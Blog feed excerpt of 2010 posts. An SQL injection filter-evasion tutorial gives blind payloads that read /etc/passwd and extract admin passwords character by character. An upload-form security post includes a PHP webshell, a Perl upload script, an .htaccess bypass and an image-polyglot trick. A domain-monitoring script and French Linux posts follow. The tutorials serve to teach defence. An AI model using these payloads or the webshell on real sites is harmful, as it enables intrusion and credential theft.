if(preg_match('/(union|select|from|having)/i', $id))
    exit('attack'); // no sqli keywords
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;What option do we have left?&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
If we have the FILE privilege we can use load_file() (btw you can't use into outfile without quotes and spaces). But we can't output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().&lt;br /&gt;
First we want to check if the file can be read. load_file() returns &quot;null&quot; if the file could not be read, but since the keyword &quot;null&quot; is filtered we cant compare to &quot;null&quot; or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))
&lt;/pre&gt;
&lt;br /&gt;
This will return the length of the file content or, if the file could not be read, a &quot;1&quot; and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)
&lt;/pre&gt;
&lt;br /&gt;
(while $char is the character in sql hex which is compared to the current character of the file at offset $x)
&lt;br /&gt;
We bypassed the filter but it requires the FILE privilege.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Filtering everything&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
Ok now we expand the filter again and it will check for file operations too (or just assume you don't have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:
&lt;pre class=&quot;sh_php&quot;&gt;
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'&quot;]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments
&lt;/pre&gt;
&lt;br /&gt;
The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?&lt;br /&gt;
&lt;br /&gt;
We cant use procedure analyse() because it needs a space and we cant use the '1'%'0' trick. Basically we only have special characters left, but that is often all we need.&lt;br /&gt;
&lt;br /&gt;
We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn't be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
&lt;br /&gt;So how do we access them blindly? A usual blind SQLi would look like the following:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)
&lt;/pre&gt;
&lt;br /&gt;
This will return 1 to the id if the first char of the password is &quot;a&quot;. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters &quot;&amp;amp;&amp;amp;&quot; and &quot;||&quot; to check, if the first character of the pass is &quot;a&quot;:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1&amp;amp;&amp;amp;mid(pass,1,1)=(0x61);%00
&lt;/pre&gt;
&lt;br /&gt;
We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=2&amp;amp;&amp;amp;mid(pass,1,1)=(0x61);%00
?id=3&amp;amp;&amp;amp;mid(pass,1,1)=(0x61);%00
&lt;/pre&gt;
&lt;br /&gt;
Of course this takes some time and mostly you are only interested in one specific password, for example of the user &quot;admin&quot; but you dont know his id. Basically we want something like:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=(SELECT id FROM users WHERE name = 'admin') &amp;amp;&amp;amp; mid(pass,1,1)=('a');%00
&lt;/pre&gt;
&lt;br /&gt;
The first attempt could be:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=1||1=1&amp;amp;&amp;amp;name=0x61646D696E&amp;amp;&amp;amp;mid(pass,1,1)=0x61;%00
&lt;/pre&gt;
&lt;br /&gt;
That does not work because the &quot;OR 1=1&quot; at the beginning is stronger than the &quot;AND&quot; so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the &quot;OR 1=1&quot; at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id's:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=id&amp;amp;&amp;amp;name=0x61646D696E&amp;amp;&amp;amp;mid(pass,1,1)=0x61;%00
&lt;/pre&gt;
&lt;br /&gt;
If the character of the password is guessed correctly we will see &quot;Hello admin&quot; otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Filtering everything and more ...&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
What else can we filter to make it more challenging? Sure, some characters like &quot;=&quot;, &quot;|&quot; and &quot;&amp;amp;&quot;.
&lt;pre class=&quot;sh_sql&quot;&gt;
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'&quot;]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments
if(preg_match('/(=|&amp;amp;|\|)/', $id))
    exit('attack'); // no boolean operators
&lt;/pre&gt;
&lt;br /&gt;
Lets see. The character &quot;=&quot; shouldn't be problematic as already mentioned above, we simply use &quot;like&quot; or &quot;regexp&quot; etc...:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=id&amp;amp;&amp;amp;(name)like(0x61646D696E)&amp;amp;&amp;amp;(mid(pass,1,1))like(0x61);%00
&lt;/pre&gt;
&lt;br /&gt;
The character &quot;|&quot; isn't even needed. But what about the &quot;&amp;amp;&quot;? Can we check for the name=&quot;admin&quot; and for the password characters without using logical operators?
&lt;br /&gt;
After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = &quot;admin&quot;:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=if((name)like(0x61646D696E),1,0);%00
&lt;/pre&gt;
&lt;br /&gt;
This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin's id we return his id instead of 1:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=if((name)like(0x61646D696E),id,0);%00
&lt;/pre&gt;
&lt;br /&gt;
Now the tricky part is to not use AND or &amp;amp;&amp;amp; but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=
if(
  // if (it gets true if the name='admin')
    if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
    if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
    0
);%00
&lt;/pre&gt;
&lt;br /&gt;
Injection in one line:
&lt;pre class=&quot;sh_sql&quot;&gt;
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00
&lt;/pre&gt;
&lt;br /&gt;
Again you will see &quot;Hello admin&quot; if the password character was guessed correctly and otherwise you'll see nothing (id=0).
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Mitigating&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
All of this could be avoided by using the followig snippet :
&lt;pre class=&quot;sh_php&quot;&gt;
$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query(&quot;SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' &quot;);
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;I absolutely recommend a deep reading of the &lt;a href=&quot;http://websec.wordpress.com/&quot;&gt;Reiner's blog&lt;/a&gt; if you're interested in those topics as it contains even more informations about web application security in general.&lt;br /&gt;
You may also have a look at his slides about &lt;a href=&quot;http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/&quot;&gt;SQLi injection filter evasion&lt;/a&gt;.&lt;br /&gt;
Source for this article :&lt;a href=&quot;http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/&quot;&gt;Reiner's Blog on Exploiting Hard filtered SQL injection&lt;/a&gt;
&lt;/b&gt;</description>
	<pubDate>mer, 15 déc 2010 20:05:12 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Mitigating security threats in upload forms</title>
	<guid>http://www.tuxz.net/blog/archives/2010/12/07/mitigating_security_threats_in_upload_forms/</guid>
	<link>http://www.tuxz.net/blog/archives/2010/12/07/mitigating_security_threats_in_upload_forms/</link>
	<description>Nowadays most web applications allow users to upload files (pictures, videos, documents ...).&lt;br /&gt;
Providing such feature could open huge security holes such as file disclosure, remote arbitrary file execution ..., I'll try to point out some security flaws due to bad implementation and will suggest some guidelines to improve security.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;The poor-man's upload form&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
The visible part :
&lt;pre&gt;
&amp;lt;form name=&quot;my_upload&quot; action=&quot;upload.php&quot; method=&quot;post&quot; enctype=&quot;multipart/formdata&quot;&amp;gt;
File : &amp;lt;input type=&quot;file&quot; name=&quot;userfile&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot; name=&quot;upload&quot; value=&quot;upload&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/pre&gt;
And it's action (upload.php):
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo &quot;Upload OK&quot;;
} else {
        echo &quot;Upload Failed&quot;;
}
?&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
This implementation is &lt;b&gt;weak&lt;/b&gt; as an attacker could upload a webshell and remotely execute commands on the server, here's a very basic one :&lt;br /&gt;
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php  
system($_GET['command']);  
?&amp;gt;  
&lt;/pre&gt;
The upload could be triggered using a small perl script like that :&lt;br /&gt;
&lt;pre class=&quot;sh_perl&quot;&gt;
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-&amp;gt;new;
$_r = $ua-&amp;gt;request
        ( POST 'http://foo.bar/upload.php',
          Content_Type =&amp;gt; 'form-data',
          Content =&amp;gt; [userfile =&amp;gt; [&quot;shell.php&quot;, &quot;shell.php&quot;],],
        );
print $_r-&amp;gt;as_string();
&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Blacklisting extensions&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
Blacklisting extensions is generally not a good way to protect yourself, considering the previous upload.php with a blacklisting mechanism :
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
$blacklist = array(&quot;.php&quot;, &quot;.php4&quot;, &quot;.php5&quot;);  
foreach ($blacklist as $ext) {  
        if(preg_match(&quot;/$ext$/i&quot;, $_FILES['userfile']['name'])) {  
                die(&quot;Forbidden extension&quot;);  
        }  
}  
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo &quot;Upload OK&quot;;
} else {
        echo &quot;Upload Failed&quot;;
}
?&amp;gt;
&lt;/pre&gt;
An attacker could start by uploading a .htaccess containing the following line :&lt;br /&gt;
&lt;pre&gt;
AddType application/x-httpd-php .png
&lt;/pre&gt;
And then upload its webshell renamed to shell.png, which will be executed, bypassing your &quot;protection&quot;. (just note that move_uploaded_file default behaviour is to overwrite any already existant file).&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;u&gt;Further Notes :&lt;/u&gt;&lt;br /&gt;
Looking for the &quot;.&quot; character in the filename and extracting the string positionned after is neither a good way to do. In fact the way that Apache handles files with multiple extentions could lead to script execution. Here's an extract from the Apache Doc : &lt;br /&gt;&lt;br /&gt;&lt;i&gt;&quot; Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.&quot;&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, an attacker could upload &quot;shell.php.gna&quot; (the last extension must be something not present in the Apache Mime-Types), which will be executed as a normal PHP script.&lt;br /&gt;
A better approach would be to whitelist extensions, but it some cases it will not work as expected. When Apache is configured to execute PHP code, there are 2 ways to specify this: using the AddHandler directive, or to using the AddType directive. If AddHandler directive is used, all filenames containing the &quot;.php&quot; extension (e.g. &quot;.php&quot;, &quot;.php.png&quot;) will be executed as a PHP script.&lt;br /&gt;
So if your Apache configuration file contains the following line, you may be still vulnerable as shell.php.png will be executed too :
&lt;pre&gt;
AddHandler php5-script .php
&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Checking Content-Type / Mime-Type&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
Considering an application where only PNG images are allowed, you could think that checking the Content-Type could be sufficient, see our brand-new upload.php :
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
if($_FILES['userfile']['type'] != &quot;image/png&quot;) {  
        die(&quot;Only PNG Images are allowed&quot;);  
}  
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo &quot;Upload OK&quot;;
} else {
        echo &quot;Upload Failed&quot;;
}
?&amp;gt;
&lt;/pre&gt;
Content-Type is part of the request, so quite easy to bypass the protection using for example our slightly modified Perl script :
&lt;pre class=&quot;sh_perl&quot;&gt;
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-&amp;gt;new;
$_r = $ua-&amp;gt;request
        ( POST 'http://foo.bar/upload.php',
          Content_Type =&amp;gt; 'form-data',
          Content =&amp;gt; [userfile =&amp;gt; [&quot;shell.php&quot;, &quot;shell.php&quot;, &quot;Content-Type&quot; =&amp;gt; &quot;image/png&quot;],],
        );
print $_r-&amp;gt;as_string();
&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Using getimagesize() to ensure that uploaded file is an image&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.php.net/getimagesize&quot;&gt;getimagesize()&lt;/a&gt; is a widely used function to validate that a file is an image, it also allows the developer to extract image dimensions.&lt;br /&gt;
This function will return false against a file which is not an image, true otherwise. Here's a widely seen implementation, based on our upload.php :
&lt;pre class=&quot;sh_php&quot;&gt;
&amp;lt;?php
if(!getimagesize($_FILES['userfile']['tmp_name'])) {
        die(&quot;Only Images are allowed&quot;);
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo &quot;Upload OK&quot;;
} else {
        echo &quot;Upload Failed&quot;;
}
?&amp;gt;
&lt;/pre&gt; 
An attacker could, for example generate a &quot;valid&quot; image embedding PHP code :
&lt;pre class=&quot;sh_sh&quot;&gt;
cat twitter.png shell.php &gt; twitter_shell.php.png
&lt;/pre&gt;
The previous command will create a new file called &quot;twitter_shell.php.png&quot; with a valid image header which will bypass our getimagesize() check. 
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Client-side validations&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
I won't spend time on this point as mostly everthing checked client-side can be quite easily bypassed by for example disabling JS, using an interception proxy or writing down some scripts.
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Conclusion : suggestions&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
Here's a list of suggestions you should implement to build a secure upload form, but not limited to :&lt;br /&gt;
&lt;ul&gt;
        &lt;li&gt;Upload files outside the DocumentRoot and use a script to provide file content to end-user &lt;u&gt;Beware of directory transversal&lt;/u&gt;&lt;/li&gt;
        &lt;li&gt;Prevent potential attacker to know the filename by generating random file name at upload time&lt;/li&gt;
        &lt;li&gt;Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).&lt;/li&gt;
        &lt;li&gt;Do not provide upload path inside the upload form as an hidden value (already seen) as this can be modified by an attacker&lt;/li&gt;
        &lt;li&gt;Use this typical htaccess to allow only jpg/jpeg, png &amp;amp; gif files (provides protection against double-extensions attack :&lt;/li&gt;
&lt;pre&gt;
Deny from All
&amp;lt;Files ~ &quot;^\w+\.(gif|jpe?g|png)$&quot;&amp;gt;
        Order Deny,Allow
        Allow from All
&amp;lt;/Files&amp;gt;
&lt;/pre&gt;
        &lt;li&gt;Use a token system to ensure that upload requests are coming from a trusted source&lt;/li&gt;
&lt;/ul&gt;</description>
	<pubDate>mar, 07 déc 2010 18:35:41 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Domain Integrity Checker shell script</title>
	<guid>http://www.tuxz.net/blog/archives/2010/11/25/domain_integrity_checker_shell_script/</guid>
	<link>http://www.tuxz.net/blog/archives/2010/11/25/domain_integrity_checker_shell_script/</link>
	<description>&lt;p&gt;Yesterday, Secunia's (a popular security company) website have been defaced.&lt;br /&gt;
Their servers weren't hacked, but their DNS were hijacked, to point to another location. Whois records were updated one day ago, then a change in their NS was done to make the traffic redirected.&lt;br /&gt;
&lt;br /&gt;
This attack shows the need to always keep an eye on Whois / DNS configuration to react very quickly in case of alteration.&lt;br /&gt;
&lt;br /&gt;
I've written a small shell script that perform this type of monitoring (very basically), it obviously needs some improvements, but it can easily be extended. It comes with no warranty, don't blame me if your dog / wife / ... leaves because of it. Just add an entry in your crontab calling the following command :
&lt;/p&gt;
&lt;pre class=&quot;sh_sh&quot;&gt;
/usr/local/bin/domain_integrity_checker.sh check
&lt;/pre&gt;
&lt;p&gt;
&lt;u&gt;&lt;b&gt;Please be sure to configure the script &amp;amp; run &quot;update_db&quot; before enabling the crontab.&lt;/b&gt;&lt;/u&gt; 
&lt;/p&gt;

&lt;pre class=&quot;sh_sh&quot;&gt;
#!/bin/bash
#
# Domain Integrity Checker - (c) 2010 Alexandre De Dommelin
#
# This program is free software. It comes without any warranty, to
# the extent permitted by applicable law. You can redistribute it
# and/or modify it under the terms of the Do What The Fuck You Want
# To Public License, Version 2, as published by Sam Hocevar. See
# http://sam.zoy.org/wtfpl/COPYING for more details.
#

HASHES_DB=&quot;/etc/domain_integrity_checker.db&quot;
DOMAINS=( &quot;foo.com&quot; &quot;bar.com&quot; )
ALERT_DEST=&quot;alerts@example.com&quot;


update_db() {
        if [ -f ${HASHES_DB} ];
        then    
                rm -f ${HASHES_DB} &amp;amp;&amp;gt; /dev/null
        fi
        
        touch ${HASHES_DB}
        for domain in ${DOMAINS[@]};
        do      
                HASH=`whois ${domain} | egrep -v '^#|^$|^&amp;gt;' | md5sum | cut -d &quot; &quot; -f 1`
                SOA_SN=`dig +short -t SOA ${domain} | cut -d &quot; &quot; -f 3`
                echo &quot;${domain}#${HASH}#${SOA_SN}&quot; &amp;gt;&amp;gt; ${HASHES_DB}
        done
}

check_domains() {
        for domain in ${DOMAINS[@]};
        do      
                CUR_HASH=`whois ${domain} | egrep -v '^#|^$|^&amp;gt;' | md5sum | cut -d &quot; &quot; -f 1`
                CUR_SOA_SN=`dig +short -t SOA ${domain} | cut -d &quot; &quot; -f 3`
                DB_HASH=`grep &quot;^${domain}&quot; ${HASHES_DB} | cut -d '#' -f 2`
                DB_SOA_SN=`grep &quot;^${domain}&quot; ${HASHES_DB} | cut -d '#' -f 3`
                
                if [ &quot;${CUR_HASH}&quot; != &quot;${DB_HASH}&quot; -o &quot;${CUR_SOA_SN}&quot; != &quot;${DB_SOA_SN}&quot; ];
                then    
                        WHOIS_INFOS=`whois ${domain} | egrep 'Name Server:|Updated Date:'`
                        send_alert &quot;${domain}&quot; &quot;${CUR_SOA_SN}&quot; &quot;${WHOIS_INFOS}&quot;
                fi
        done
}

send_alert() {
        SUBJECT=&quot;[Security Alert] :: Domain $1 integrity check failed&quot;
        BODY=&quot;Domain: $1\nSOA Serial Number: $2\nInfos :\n$3&quot;
        echo -e &quot;${BODY}&quot; | mail -s &quot;${SUBJECT}&quot; &quot;${ALERT_DEST}&quot;
}

usage() {                                                                                                                                               
        echo &quot;Usage: $0 {update_db|check}&quot;                                                                                                              
        exit 1
}


case &quot;$1&quot; in
        update_db)
                update_db
                exit 0
        ;;

        check)
                if [ ! -f ${HASHES_DB} ];
                then
                        echo &quot;No database found, please run update_db first&quot;
                        usage
                else
                        check_domains
                fi
        ;;

        *)
                usage
        ;;
esac
&lt;/pre&gt;</description>
	<pubDate>jeu, 25 nov 2010 21:08:45 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: Comment éditer du ReStructuredText facilement</title>
	<guid>http://encolpe.wordpress.com/?p=485</guid>
	<link>http://encolpe.wordpress.com/2010/11/25/comment-editer-du-restructuredtext-facilement/</link>
	<description>&lt;p&gt;La communauté python utilise massivement le &lt;a title=&quot;ReStructuredText&quot; href=&quot;http://docutils.sourceforge.net/rst.html&quot; target=&quot;_blank&quot;&gt;ReStructuredText&lt;/a&gt; et&lt;a title=&quot;Sphinx&quot; href=&quot;http://sphinx.pocoo.org/&quot; target=&quot;_blank&quot;&gt; Sphinx&lt;/a&gt; pour créer de la documentation. Le gros avantage est qu&amp;#8217;il ne demande pas beaucoup d&amp;#8217;apprentissage et qu&amp;#8217;il est capable de sortir des documents dans de nombreux formats (PDF, HTML, ODT, etc) et d&amp;#8217;accepter des feuilles de style. Le problème qui revient souvent est la présence de fautes de syntaxe ce qui oblige à faire de nombreuses compilations du code dans les format de sortie finaux.&lt;/p&gt;
&lt;p&gt;Enthought a écrit un début d&amp;#8217;éditeur au sein de sa suite opensource (&lt;a rel=&quot;bookmark&quot; href=&quot;http://blog.enthought.com/enthought-tool-suite/an-editor-for-restructured-text/&quot;&gt;An editor for ReStructured Text&lt;/a&gt; et  &lt;a href=&quot;http://blog.enthought.com/enthought-tool-suite/a-renewed-restructured-text-editor/&quot; target=&quot;_blank&quot;&gt;A Renewed ReStructuredText Editor!&lt;/a&gt;). Malheureusement aucun exécutable ne permet de lancer cet éditeur lors de l&amp;#8217;installation de base de la suite. Voici comment corriger ce point :&lt;/p&gt;
&lt;pre&gt;$ sudo apt-get install python-enthoughtbase python-traits python-traitsgui
$ sudo touch /usr/local/bin/Rested
$sudo chmod +x /usr/local/bin/Rested&lt;/pre&gt;
&lt;p&gt;Ce fichier doit contenir le code suivant :&lt;/p&gt;
&lt;pre&gt;#!/usr/bin/python

from enthought.rst.rest_editor_view import ReSTHTMLEditorView
app = ReSTHTMLEditorView()
app.configure_traits()&lt;/pre&gt;
&lt;p&gt;Maintenant la commande &amp;#8216;Rested nom_de_fichier&amp;#8217; vous permettra d&amp;#8217;éditer vos fichiers avec un rendu en temps réel.&lt;/p&gt;
&lt;p&gt;Récemment Enthought a sorti cet éditeur de sa suite pour qu&amp;#8217;il puisse vivre sa propre vie et réduire ses dépendances. Vous pouvons obtenir et contribuer en utilisant le lien suivant : &lt;a rel=&quot;nofollow&quot; href=&quot;https://svn.enthought.com/svn/enthought/Rested/trunk&quot;&gt;https://svn.enthought.com/svn/enthought/Rested/trunk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Il y a pas mal de petits bugs à corriger et une gestion des locales est à rajouter.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/485/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/485/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=485&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>mer, 24 nov 2010 23:56:04 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: Quels arguments pour les logiciels libres face à ceux de Microsoft</title>
	<guid>http://encolpe.wordpress.com/?p=478</guid>
	<link>http://encolpe.wordpress.com/2010/11/24/quels-arguments-pour-les-logiciels-libres-face-a-ceux-de-microsoft/</link>
	<description>&lt;p&gt;Sur les listes de l&amp;#8217;ALDILune discussion a commencé au sujet de ce rapport publié sur le site TechNet de Microsoft titré « &lt;a title=&quot;Microsoft - Etude de vulnérabilité&quot; href=&quot;http://technet.microsoft.com/fr-fr/security/ff969884.aspx&quot; target=&quot;_blank&quot;&gt;Microsoft &amp;#8211; Etude de vulnérabilité&lt;/a&gt; ».  J&amp;#8217;ai fait une analyse rapide du document et je relève plusieurs points que l&amp;#8217;ont peut facilement démonter.&lt;/p&gt;
&lt;h2&gt;Au sujet de la pertinence globale&lt;/h2&gt;
&lt;p&gt;Je cite : « Ce livre blanc est fourni à titre informatif uniquement.&lt;br /&gt;
MICROSOFT N’ACCORDE AUCUNE GARANTIE, EXPRESSE OU TACITE, PAR LE BIAIS DE CE DOCUMENT. »&lt;/p&gt;
&lt;p&gt;Je résume, ça nous arrange mais nous ne sommes pas responsables s&amp;#8217;il y a des erreurs.&lt;/p&gt;
&lt;h2&gt;Pertinences des bugs&lt;/h2&gt;
&lt;p&gt;Une installation &amp;#8216;de base&amp;#8217; d&amp;#8217;une station linux contient déjà beaucoup plus de logiciels installés que la version de Windows toutes versions&lt;br /&gt;
confondues. De plus certains bugs se rapportent pas à une utilisation de base même s&amp;#8217;ils font partie de l&amp;#8217;installation de base.&lt;br /&gt;
Par exemple pour ubuntu 9.04 sur les 10 derniers bugs répertoriés :&lt;/p&gt;
&lt;p&gt;- ISDN : &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4005&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4005&lt;/a&gt;&lt;br /&gt;
- HFS : &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4020&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4020&lt;/a&gt;&lt;br /&gt;
